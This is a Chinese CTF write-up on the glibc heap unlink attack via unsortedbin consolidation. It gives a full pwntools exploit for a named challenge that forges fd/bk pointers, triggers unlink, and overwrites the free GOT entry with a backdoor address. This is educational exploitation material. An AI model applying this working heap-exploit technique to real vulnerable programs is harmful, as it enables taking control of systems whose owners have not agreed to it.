简介:通过unsortedbin的脱链操作,即链表头处free的堆块从unsortedbin中脱离然后前向或后向合并为一个新的大堆块再放进unsortedbin中
原理:伪造fake_chunk处于free状态,构造fd和bk指针,从而绕过unlink检查实现向p位置写入p-0x18,一般构造fake_bk=p-0x10,fake_fd=p-0x18
利用条件:堆溢出,off_by_one/null修改使用标志位,uaf等均可
什么时候利用:bss段或其他地方有堆管理的地址
如何伪造及其效果:
(借用一下星盟师傅的图片)
例题:[羊城杯 2023 决赛]Printf but not fmtstr
本题add只允许0x500-0x900大小的堆块,且free后没有置零,edit依旧可以对free的堆块操作
并且malloc的堆块地址会存放于bss段,符合unlink的条件
先做好自动化交互
from pwn import *
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb():
# return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug')
p = process("./pwn")
# p = remote("node4.anna.nssctf.cn", 28924)
libc = ELF("./libc.so.6")
elf = ELF('./pwn')def add(idx, size):
sl(b'1')
sla(b"Index: ", str(idx))
sla(b'Size: ', str(size))
def delete(idx):
sl(b'2')
sla(b'Index: ', str(idx))
def edit(idx, content):
sl(b'3')
sla(b'Index: ', str(idx))
sa(b'Content: ', content)
def show(idx):
sl(b'4')
sla(b'Index: ', str(idx))
因为我们没有off_by_one/null或者堆溢出,无法改掉下一个chunk的in_use位,但是我们可以通过堆风水构造出fake_chunk,我们先申请三块0x500大小的chunk,然后free掉0,1
add(0,0x500)
add(1,0x500)
add(2,0x500)delete(0)
delete(1)add(3,0x510)
此时,chunk0和chunk1会合并为1个大堆块,我们此时再申请0x510大小的chunk,此时在free掉的chunk1的data域中就会出现我们类似已free的fake_chunk(其实是真正的从unsortedbin中切割下来的chunk,但是为了更好描述,我们称其为fake_chunk),同时,第二个堆块的pre_inuse位为0,pre_size也为0x500,符合我们unlink的条件,然后我们通过edit chunk1修改fake_chunk的fake_chunk的fd和bk,之后再free掉chunk2就会实现unlink操作,接下来就是改got表为backdoor即可
backdoor = 0x4011D6
target_addr = 0x4040E8
fake_bk = target_addr - 0x10
fake_fd = target_addr - 0x18edit(1, p64(0)+p64(0x500)+p64(fake_fd)+p64(fake_bk))
delete(2)
edit(1,(p64(0) * 2 + p64(elf.got['free'])))edit(0,p64(backdoor))
delete(1)inter()
关于其他的unlink利用,如off_by_one/null和堆溢出可以参考星盟师傅的,讲的很详细